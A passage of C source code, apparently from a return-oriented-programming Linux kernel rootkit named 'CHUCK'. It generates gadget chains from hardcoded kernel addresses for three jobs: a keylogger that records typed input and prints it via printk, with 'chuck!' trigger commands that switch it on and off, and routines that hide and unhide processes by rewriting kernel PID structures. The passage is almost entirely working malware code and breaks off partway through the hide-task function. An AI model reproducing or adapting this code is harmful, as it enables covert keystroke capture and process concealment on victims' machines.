{
    void *jmp_no_command = 0;
    u32 jmp_no_command_size = 0;
    
    // Status
    printf("\t[*] Generating check command...\n");
    
    // Check if the command flag is set, otherwise this is no command
    // RBX value to compare with
    // RDX value to compare
    // COMMAND goes into RDX
    generate_get_state_value(fake_stack, fake_stack_size,
                             COMMAND, REG_RDX);
    
    // Command must be set (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Check
    // Must be patched later on
    jmp_no_command = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_command_size = (*fake_stack_size);
    
    // Check if the buffer matches the given command
    // Get the current stack pointer.
    add_to_fake_stack(0xffffffff812ce0c8, fake_stack, fake_stack_size);     // PUSH RSP; POP RDX; RET;

    // Load distance to command into RDI
    // You have to update this constant in case you add gadgets in 
    // between.
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_to_fake_stack(12 * 8, fake_stack, fake_stack_size);                 // DISTANCE TO CMD

    // Move SP from RDX to RAX
    add_to_fake_stack(0xffffffff81091536, fake_stack, fake_stack_size);     // MOV RAX, RDX; RET;

    // Add RAX (SP) to RDI (distance)
    // Notice that RDI is also the first argument
    // for printk!
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);     // ADD RDI, RAX; MOV RAX, RDI; RET;

    // Load current command into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);                // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // BEGIN OF BUFFER,
                                                                            // must be overwritten
    // Load length into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX; RET
    add_to_fake_stack(0x8, fake_stack, fake_stack_size);                    // Offset

    // Load Address of 'strncmp' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8134ef40, fake_stack, fake_stack_size);     // Address of strncmp

    // "Call" strncmp
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;

    // POP Command and continue
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET; 
    add_to_fake_stack(command, fake_stack, fake_stack_size);                // The command
    
    // Jump over the pop rax gadget from below, as RAX was set by
    // strcmp
    add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size);     // ADD RSP, 0x10; RET
    
    // Patch jump
    generate_conditional_jump_not_equal(&jmp_no_command,
                                        &jmp_no_command_size,
                                        (*fake_stack_size) - jmp_no_command_size);
    
    // The conditional jump lands here 
    // Set RAX to something != 0 
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
}

/**
 * Generates the keylogging sequence. 
 * 
 * This function generates the keylogging seqeunce. As this is a very 
 * specific sequence that expects various coditions to be met before 
 * it is executed, the function should only be called from the payload chain. 
 *
 * This gadget uses ALL general purpose registers!
 * 
 * IMPORTANT: This function is NOT stack safe!
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 */
static void generate_keylog(void **fake_stack, u32 *fake_stack_size)
{
    // Jump vars
    void *jmp_no_newline = 0;
    u32 jmp_no_newline_size = 0;
    
    void *jmp_no_keylog = 0;
    u32 jmp_no_keylog_size = 0;
    
    void *jmp_no_keylog_set = 0;
    u32 jmp_no_keylog_set_size = 0;
    
    void *jmp_no_keylog_unset = 0;
    u32 jmp_no_keylog_unset_size = 0;
    
    void *jmp_no_debug = 0;
    u32 jmp_no_debug_size = 0;
    
    // Status
    printf("\t[*] Generating keylogging gadget sequence...\n");
    
    // ================================================================
    // >> NEWLINE PROCESSING
    // ----------------------------------------------------------------
    
    // ----------------------------------------------------------------
    // Check for newline
    // ----------------------------------------------------------------
    // First we reset command to 0
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size, 
                             COMMAND, REG_RAX);
    
    // Load the current index into rdi
    generate_get_state_value(fake_stack, fake_stack_size, 
                             BUFFER_INDEX, REG_RDI);
    
    // Substract 1 as we want the last character.
    generate_substract_value(fake_stack, fake_stack_size,
                             0x1, REG_RDI);
    
    // Load the base address into rax
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                 // BUFFER,
                                                                         // must be overwritten
    
    // Increase the buffer by the current index - 1
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);  // ADD RAX, RDI; RET
    
    // Get the data
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);  // MOV RAX, [RAX]; RET
    
    // Only execute the next part if RAX == 13 ("\r")
    // RBX must contain the value to compare with
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(13, fake_stack, fake_stack_size);
    
    // RDX must contain the value to compare
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    jmp_no_newline = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_newline_size = (*fake_stack_size);
    
    // ----------------------------------------------------------------
    // React to newline
    // ----------------------------------------------------------------
    // This part is only execute if we encountered a newline character
    // Replace the \r character
    // Load the current index into rdi
    generate_get_state_value(fake_stack, fake_stack_size, 
                             BUFFER_INDEX, REG_RDI);
    
    // Substract 1 as we want the last character.
    generate_substract_value(fake_stack, fake_stack_size,
                             0x1, REG_RDI);
    
    // Load the base address into rax
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                 // BUFFER,
                                                                         // must be overwritten
    
    // Increase the buffer by the current index - 1
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);  // ADD RAX, RDI; RET
    
    // Move RAX to RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
    
    // Move zero into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                
    
    // Move into the buffer
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);     // MOV [RSI],RAX; 
                                                                            // XOR EAX,EAX;
                                                                            // RET;
    // Reset the BUFFER_INDEX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size, 
                             BUFFER_INDEX, REG_RAX);
    
    // Set Command to 1
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size, 
                             COMMAND, REG_RAX);
       
    // ----------------------------------------------------------------
    // Log command if enabled
    // ----------------------------------------------------------------
    // Check wether keylogging is enabled (KEYLOG == 1)
    // RBX: Value to compare with
    // RDX: Value to compare
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Load value of keylog
    generate_get_state_value(fake_stack, fake_stack_size,
                             KEYLOG, REG_RDX);
    
    // Check
    // Must be patched later on
    jmp_no_keylog = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_keylog_size = (*fake_stack_size);
    
    // Load command address
    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                 // BUFFER,
                                                                         // must be overwritten
    
    // Print command
    // Use to %% characters such that the %s is interpreted
    // during run-time.
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ KEYLOGGER ] COMMAND: %%s\n");
                                                                         
    
    // Patch the jumps
    generate_conditional_jump_not_equal(&jmp_no_newline, 
                                        &jmp_no_newline_size, 
                                        (*fake_stack_size) - jmp_no_newline_size);
    
    generate_conditional_jump_not_equal(&jmp_no_keylog, 
                                        &jmp_no_keylog_size, 
                                        (*fake_stack_size) - jmp_no_keylog_size);
    
    // ----------------------------------------------------------------
    // << NEWLINE PROCESSING DONE
    // ================================================================
    
    // ================================================================
    // >> CHECK COMMAND
    // ----------------------------------------------------------------
    
    // ----------------------------------------------------------------
    // Enable keylogging
    // ----------------------------------------------------------------
    // Check if the buffer contains the command 'chuck!k+', which will
    // enable keylogging.
    generate_check_command(fake_stack, fake_stack_size, 
                           0x2b6b216b63756863);
    
    // Result is within RAX. Move it to RDX for the comparison
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    
    // Jump over the remainder if the command does not match
    jmp_no_keylog_set = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_keylog_set_size = (*fake_stack_size);
    
    // Enable keylogging.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             KEYLOG, REG_RAX);
    
    // Destory command to avoid that debug strings are printed twice
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             BUFFER, REG_RAX);
    
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
    
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
    
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Enabled keylogging!\n");
    
    // Patch jumps
    generate_conditional_jump_not_equal(&jmp_no_keylog_set, 
                                        &jmp_no_keylog_set_size, 
                                        (*fake_stack_size) - jmp_no_keylog_set_size);
    
    generate_conditional_jump_not_equal(&jmp_no_debug, 
                                        &jmp_no_debug_size, 
                                        (*fake_stack_size) - jmp_no_debug_size);
    
    // ----------------------------------------------------------------
    // Disable keylogging
    // ----------------------------------------------------------------
    // Check if the buffer contains the command 'chuck!k<space>', which will
    // disable keylogging.
    generate_check_command(fake_stack, fake_stack_size, 
                           0x2d6b216b63756863);
    
    // Result is within RAX. Move it to RDX for the comparison
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    
    // Jump over the remainder if the command does not match
    jmp_no_keylog_unset = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_keylog_unset_size = (*fake_stack_size);
    
    // Disable keylogging.
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             KEYLOG, REG_RAX);
    
    // Destory command to avoid that debug strings are printed twice
    generate_pop(fake_stack, fake_stack_size, REG_RAX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    generate_set_state_value(fake_stack, fake_stack_size,
                             BUFFER, REG_RAX);
    
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
    
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
    
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Disabled keylogging!\n");
    
    // Patch jumps
    generate_conditional_jump_not_equal(&jmp_no_keylog_unset, 
                                        &jmp_no_keylog_unset_size, 
                                        (*fake_stack_size) - jmp_no_keylog_unset_size);
    
    generate_conditional_jump_not_equal(&jmp_no_debug, 
                                        &jmp_no_debug_size, 
                                        (*fake_stack_size) - jmp_no_debug_size);
    
    // ----------------------------------------------------------------
    // << CHECK COMMAND DONE
    // ================================================================ 
}

/**
 * Generates the unhide_task gadget sequence.
 *  
 * This function generates the unhide_task_seqeunce. As this is a very 
 * specific sequence that expects various coditions to be met before 
 * it is executed, the function should only be called from the payload chain. 
 *
 * This gadget uses ALL general purpose registers!
 * 
 * IMPORTANT: This function is NOT stack safe!
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 */
static void generate_unhide_task(void **fake_stack, u32 *fake_stack_size)
{
    // These variables are used for the jump over the entire block
    void *jmp_not_command = 0;
    u32 jmp_not_command_size = 0;
    
    // Jmp over debug sections
    void *jmp_no_debug = 0;
    u32 jmp_no_debug_size = 0;
    
    // Jump if we hid the PID
    void *jmp_pid_unhid = 0;
    u32 jmp_pid_unhid_size = 0;
    
    // Loop variables
    void *jmp_not_found = 0;
    u32 jmp_not_found_size = 0;
    
    void *jmp_found = 0;
    u32 jmp_found_size = 0;
    
    // loop begin
    u32 loop_begin = 0;

    // Status
    printf("\t[*] Generating unhide task gadget sequence...\n");
    
    // ==============================================================
    // >> CHECK COMMAND  
    // --------------------------------------------------------------
    // Check if the command matches chuck!h-
    generate_check_command(fake_stack, fake_stack_size, 
                           0x2068216b63756863);                               // chuck!h<space>

    // RAX now contains the result
    // If the strings do not match (RAX != 0) we want to jump over this 
    // snippet! 
    // RBX must hold the value to compare with
    // RDX must hold the value to be compared
    // -> Move RAX to RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    
    jmp_not_command = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_not_command_size = (*fake_stack_size);
    // ----------------------------------------------------------------
    // << CHECK COMMAND DONE
    // ================================================================



    // ================================================================
    // >> PARSE PID
    // ----------------------------------------------------------------
    // Parse PID, we use kstrtou16 for this purpose
    // RDI = address of string, RSI = base, RDX = address of result

    // setup RDI with address
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 8);                // Create a patch entry
                                                                            // The PID begins 8 bytes
                                                                            // behind "chuck!u<space>"
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // BEGIN OF PID,
                                                                            // must be overwritten
    // Load base into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xa, fake_stack, fake_stack_size);                    // The base is 10

    // Load address into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten

    // Load Address of 'kstrtou16' into RAX
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff81358f60, fake_stack, fake_stack_size);     // Address of kstrtou16

    // "Call" kstrtou16
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);     // JMP RAX;
    // *PID_PARSE now containe the parsed PID
    
    // ----------------------------------------------------------------
    // << PARSE PID DONE
    // ================================================================



    // ================================================================
    // >> DEBUG
    // ----------------------------------------------------------------
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
    
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
    
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size, 
                             PID_PARSE, REG_RSI);
    
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Unhiding process with PID %%d\n");
    
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug, 
                                        &jmp_no_debug_size, 
                                        (*fake_stack_size) - jmp_no_debug_size);

    // ----------------------------------------------------------------
    // << DEBUG DONE
    // ================================================================     



    // ================================================================
    // >> PID UNHIDING
    // ----------------------------------------------------------------
    // To unhide the process we will try to find its PID within the 
    // PID array and then reset the PID within its task struct to the 
    // original value. For this to work, we need a search loop.
    
    // ----------------------------------------------------------------
    // SEARCH LOOP
    // ----------------------------------------------------------------
    generate_pop(fake_stack, fake_stack_size, REG_RSI);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Counter is zero at the
                                                                                 // beginning.
    
    // LOOP_BEGIN:
    loop_begin = (*fake_stack_size);
    
    // Did we reach the end of the array? To see this, we have to 
    // compare PID_INDEX with the current counter value.
    // First we load PROC_INDEX into RBX.
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_INDEX, REG_RBX);
    
    // Next we load the counter (RSI) into RDX
    generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Compare. If match goto NOT_FOUND
    jmp_not_found = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    jmp_not_found_size = (*fake_stack_size);
    
    // This code is only executed if this is a valid entry.
    // Load the compare value into RBX.
    generate_get_state_value(fake_stack, fake_stack_size, 
                             PID_PARSE, REG_RBX);
    
    // Load the base address of the array into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
    
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
    
    // Get the value at the calculated address.
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
    
    // Load the compare value into RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Check wether the value match. If we found the entry, we jump
    // to FOUND.
    jmp_found = (*fake_stack);
    generate_conditional_jump_equal(fake_stack, fake_stack_size, 0x0);
    jmp_found_size = (*fake_stack_size);
    
    // This part is only executed if this is not the entry we are 
    // looking for.
    // Increase the counter such that it points to the next entry.
    // Each entry is 16 bytes long, thus we increase by 16.
    generate_add_value(fake_stack, fake_stack_size, 16, REG_RSI);
    
    // Jump back up to LOOP_BEGIN
    generate_stack_decrement(fake_stack, fake_stack_size,
                             (*fake_stack_size) - loop_begin);
    
    // ----------------------------------------------------------------
    // FOUND:
    // ----------------------------------------------------------------
    // Update Jump Found
    generate_conditional_jump_equal(&jmp_found, 
                                    &jmp_found_size, 
                                    (*fake_stack_size) - jmp_found_size);
    
    // Save RSI. (The index)
    generate_set_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RSI);
    
    // Reload RSI
    generate_get_state_value(fake_stack, fake_stack_size,
                             TMP, REG_RSI);
    
    // The entry we are looking for is specified by RSI, which is the 
    // offset of the entry from the beginning of the array. We want
    // the PID struct value of the entry, which is 8 bytes behind the 
    // position where RSI currently points to. Thus we first increment
    // RSI.
    generate_add_value(fake_stack, fake_stack_size, 8, REG_RSI);
    
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
    
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
    
    // Get the VALUE at the address.
    add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size);          // MOV RAX, [RAX]; RET
    
    // RAX now contains the PID_STRUCT pointer!
    
    // Unhide the PID
    // Set pid_struct->number[0].nr to the PID within PID_PARSE
    // For our kernel this is pointer + 0x30    
    // Load offset (0x30) into RDI
    add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size);          // POP RDI; RET
    add_to_fake_stack(0x30, fake_stack, fake_stack_size);                        // OFFSET

    // Add offset to pointer
    add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size);          // ADD RAX, RDI; RET
    // RAX now points to the correct location
    
    // Move to RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);

    // Load correct PID into RAX
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_PARSE, REG_RAX);
    
    // Move!
    add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size);          // MOV [RSI],RAX; 
                                                                                 // XOR EAX,EAX;
                                                                                 // RET;      
    // Process should now be unhidden!
    
    // Next we have to fix the PID_ARRAY, we use memcopy for this purpose.
    // RDI (to): PID_ARRAY + INDEX
    // RSI (from): PID_ARRAY + INDEX + 16 (after the current index)
    // RDX (size): PID_INDEX - INDEX -16 
    
    // RSI first
    // Get Index
    generate_get_state_value(fake_stack, fake_stack_size, 
                             TMP, REG_RSI);
    
    // Add 16
    generate_add_value(fake_stack, fake_stack_size,
                       16, REG_RSI);
    
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
    
    // Add the current index to the base address
    add_to_fake_stack(0xffffffff81047bfa, fake_stack, fake_stack_size);          // ADD RAX, RSI; RET;
    
    // Move to RSI
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
    // RSI set.
    
    // Now RDI. Load Index
    generate_get_state_value_unsafe(fake_stack, fake_stack_size,
                                    TMP, REG_RDI);
    
    // Next we load the base address into RAX
    generate_pop(fake_stack, fake_stack_size, REG_RAX);                          // POP RAX; RET;
    add_patch_entry(fake_stack, fake_stack_size, PID_ARRAY, 0x0);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                         // Will be overwritten
    
    // Add to RDI.
    add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size);          // ADD RDI, RAX; 
                                                                                 // MOV RAX,RDI;
                                                                                 // RET;
    
    // Finally RDX
    generate_get_state_value_unsafe(fake_stack, fake_stack_size,
                                    TMP, REG_RDX);
    
    // Add 16 to RDX
    // Do this unsafe to keep RDI in tact.
    generate_add_value_unsafe(fake_stack, fake_stack_size,
                              16, REG_RDX);
    
    // Load PID_INDEX
    // Notice that this sequence must be after the load RDX sequence!
    generate_get_state_value_unsafe(fake_stack, fake_stack_size,
                                    PID_INDEX, REG_RAX);
    
    // Substract RDX from RAX
    add_to_fake_stack(0xffffffff81079357, fake_stack, fake_stack_size);         // SUB RAX, RDX; RET;
    
    // Move to RDX
    generate_move_from_rax_unsafe(fake_stack, fake_stack_size, REG_RDX);
    
    // Call memcopy
    add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size);         // POP RAX; RET;
    add_to_fake_stack(0xffffffff81354190, fake_stack, fake_stack_size);         // Address of memcpy

    // "Call" find_get_pid
    add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size);         // JMP RAX;
    
    // Finally we have to update the PID_INDEX
    generate_get_state_value(fake_stack, fake_stack_size,
                             PID_INDEX, REG_RAX);
    
    // Substract 0x16
    generate_substract_value(fake_stack, fake_stack_size,
                             16, REG_RAX);
    
    // Update
    generate_set_state_value(fake_stack, fake_stack_size,
                             PID_INDEX, REG_RAX);
    // ----------------------------------------------------------------
    // << PID UNHIDING DONE
    // ================================================================



    // ================================================================
    // >> EPILOG
    // ----------------------------------------------------------------
    // Finally we have to patch the conditional jumps that jumps over
    // the entire sequence, if the command entered is not chuck!u.
    // IMPORTANT: Do not update the fake_stack pointers, as we overwrite
    // an existing area
    
    // Jump over the remainder in case we unhid the PID
    // must be patched later on!
    jmp_pid_unhid = (*fake_stack);
    generate_stack_increment(fake_stack, fake_stack_size, 0x0);
    jmp_pid_unhid_size = (*fake_stack_size);
    
    // First if we could not find the PID
    generate_conditional_jump_equal(&jmp_not_found,
                                    &jmp_not_found_size,
                                    (*fake_stack_size) - jmp_not_found_size);
    
    // Debug output if enabled
    // RDX: Value to compare
    // RBX: Value to compare with
    generate_get_state_value(fake_stack, fake_stack_size,
                             DEBUG, REG_RDX);
    
    // Load value to compare with into RBX (0x1)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x1, fake_stack, fake_stack_size);
    
    // Jump over the remainder if debugging is off
    jmp_no_debug = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_no_debug_size = (*fake_stack_size);
    
    // Move the value of PID_PARSE into RSI
    generate_get_state_value(fake_stack, fake_stack_size, 
                             PID_PARSE, REG_RSI);
    
    // Use %% here to actually print the PID
    generate_printk(fake_stack, fake_stack_size,
                    "[ ROP - CHUCK ] [ DEBUG ] Could not find process with PID %%d!\n");
    
    // Patch the jump from above
    generate_conditional_jump_not_equal(&jmp_no_debug, 
                                        &jmp_no_debug_size, 
                                        (*fake_stack_size) - jmp_no_debug_size);
    
    
    // Now the jump that is executed if this is not a hide command
    generate_conditional_jump_not_equal(&jmp_not_command,
                                        &jmp_not_command_size,
                                        (*fake_stack_size) - jmp_not_command_size);
    
    // Finally the stack increment
    generate_stack_increment(&jmp_pid_unhid,
                             &jmp_pid_unhid_size,
                             (*fake_stack_size) - jmp_pid_unhid_size);
}

/**
 * Generates the hide_task gadget sequence.
 * 
 * This function generates the hide_task seqeunce. As this is a very 
 * specific sequence that expects various coditions to be met before 
 * it is executed, the function should only be called from the payload chain. 
 *
 * This gadget uses ALL general purpose registers!
 * 
 * IMPORTANT: This function is NOT stack safe!
 * 
 * @param fake_stack The fake stack the gadget will be added to.
 * @param fake_stack_size The size of the fake stack.
 */
static void generate_hide_task(void **fake_stack, u32 *fake_stack_size)
{
    // These variables are used for the jump over the entire block
    void *jmp_not_command = 0;
    u32 jmp_not_command_size = 0;
    
    // Jmp over debug sections
    void *jmp_no_debug = 0;
    u32 jmp_no_debug_size = 0;

    // Jump if we did not find a valid PID
    void *jmp_no_valid_pid = 0;
    u32 jmp_no_valid_pid_size = 0;
    
    // Jump if we hid the PID
    void *jmp_pid_hid = 0;
    u32 jmp_pid_hid_size = 0;

    // Status
    printf("\t[*] Generating hide task gadget sequence...\n");
    
    // ==============================================================
    // >> CHECK COMMAND  
    // --------------------------------------------------------------
    // Check if the command matches chuck!H
    generate_check_command(fake_stack, fake_stack_size, 
                           0x2048216b63756863);                               // chuck!H<space>

    // RAX now contains the result
    // If the strings do not match (RAX != 0) we want to jump over this 
    // snippet! 
    // RBX must hold the value to compare with
    // RDX must hold the value to be compared
    // -> Move RAX to RDX
    generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
    
    // Load value to compare with into RBX (0x0)
    generate_pop(fake_stack, fake_stack_size, REG_RBX);
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);
    
    jmp_not_command = (*fake_stack);
    generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
    jmp_not_command_size = (*fake_stack_size);
    // ----------------------------------------------------------------
    // << CHECK COMMAND DONE
    // ================================================================



    // ================================================================
    // >> PARSE PID
    // ----------------------------------------------------------------
    // Parse PID, we use kstrtou16 for this purpose
    // RDI = address of string, RSI = base, RDX = address of result

    // setup RDI with address
    add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size);     // POP RDI, RET;
    add_patch_entry(fake_stack, fake_stack_size, BUFFER, 8);                // Create a patch entry
                                                                            // The PID begins 8 bytes
                                                                            // behind "chuck!h<space>"
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // BEGIN OF PID,
                                                                            // must be overwritten
    // Load base into RSI
    add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xa, fake_stack, fake_stack_size);                    // The base is 10

    // Load address into RDX
    add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size);     // POP RDX
    add_patch_entry(fake_stack, fake_stack_size, PID_PARSE, 0);             // Create a patch entry
    add_to_fake_stack(0x0, fake_stack, fake_stack_size);                    // PID_PARSE,
                                                                            // must be overwritten

    // Load Address of 'kstrtou16' into RAX
